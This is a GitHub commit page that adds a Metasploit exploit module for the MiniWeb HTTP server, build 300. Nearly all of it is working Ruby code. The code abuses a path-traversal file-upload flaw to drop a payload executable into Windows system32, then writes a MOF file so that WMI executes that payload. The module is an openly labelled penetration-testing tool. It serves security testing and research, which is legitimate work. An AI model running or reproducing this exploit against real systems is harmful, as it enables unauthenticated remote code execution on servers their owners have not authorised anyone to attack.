Skip to content

Commit eac05eb

Browse files
committed
Land rapid7#2223 - MiniWeb (Build 300) Arbitrary File Upload
2 parents 163c135 + 98e0053 commit eac05eb

File tree

1 file changed

+141
-0
lines changed

1 file changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
HttpFingerprint = { :pattern => [ /MiniWeb/ ] }
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::EXE
17+
include Msf::Exploit::WbemExec
18+
include Msf::Exploit::FileDropper
19+
20+
def initialize(info={})
21+
super(update_info(info,
22+
'Name' => "MiniWeb (Build 300) Arbitrary File Upload",
23+
'Description' => %q{
24+
This module exploits a vulnerability in MiniWeb HTTP server (build 300).
25+
The software contains a file upload vulnerability that allows an
26+
unauthenticated remote attacker to write arbitrary files to the file system.
27+
28+
Code execution can be achieved by first uploading the payload to the remote
29+
machine as an exe file, and then upload another mof file, which enables
30+
WMI (Management Instrumentation service) to execute the uploaded payload.
31+
Please note that this module currently only works for Windows before Vista.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' =>
35+
[
36+
'AkaStep', # Initial discovery
37+
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
38+
],
39+
'References' =>
40+
[
41+
['OSVDB', '92198'],
42+
['OSVDB', '92200'],
43+
['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']
44+
],
45+
'Payload' =>
46+
{
47+
'BadChars' => "\x00",
48+
},
49+
'Platform' => 'win',
50+
'Targets' =>
51+
[
52+
# Tested on MiniWeb build 300, built on Feb 28 2013
53+
# - Windows XP SP3 (EN)
54+
['MiniWeb build 300 on Windows (Before Vista)', {}]
55+
],
56+
'Privileged' => true,
57+
'DisclosureDate' => "Apr 9 2013",
58+
'DefaultTarget' => 0))
59+
60+
register_options([
61+
Opt::RPORT(8000),
62+
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
63+
], self.class)
64+
65+
end
66+
67+
def peer
68+
"#{rhost}:#{rport}"
69+
end
70+
71+
def check
72+
73+
begin
74+
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
75+
res = send_request_cgi({
76+
'method' => 'GET',
77+
'uri' => uri
78+
})
79+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
80+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
81+
end
82+
83+
if !res or res.headers['Server'].empty?
84+
return Exploit::CheckCode::Unknown
85+
elsif res.headers['Server'] =~ /^MiniWeb$/
86+
return Exploit::CheckCode::Detected
87+
end
88+
89+
return Exploit::CheckCode::Unknown
90+
91+
end
92+
93+
def upload(filename, filedata)
94+
95+
print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")
96+
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
97+
depth = "../" * (datastore['DEPTH'] + rand(10))
98+
99+
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
100+
post_data = "--#{boundary}\r\n"
101+
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
102+
post_data << "Content-Type: application/octet-stream\r\n"
103+
post_data << "\r\n#{filedata}\r\n"
104+
post_data << "--#{boundary}\r\n"
105+
106+
begin
107+
res = send_request_cgi({
108+
'method' => 'POST',
109+
'uri' => uri,
110+
'ctype' => "multipart/form-data; boundary=#{boundary}",
111+
'data' => post_data
112+
})
113+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
114+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
115+
end
116+
117+
return res
118+
119+
end
120+
121+
def exploit
122+
fname = "#{rand_text_alpha(rand(10)+5)}"
123+
124+
# upload exe
125+
exe_name = "WINDOWS/system32/#{fname}.exe"
126+
exe = generate_payload_exe
127+
print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")
128+
upload(exe_name, exe)
129+
130+
# upload mof
131+
mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"
132+
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
133+
print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")
134+
upload(mof_name, mof)
135+
136+
# list files to clean up
137+
register_file_for_cleanup("#{::File.basename(exe_name)}")
138+
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
139+
end
140+
141+
end

0 commit comments

Comments
 (0)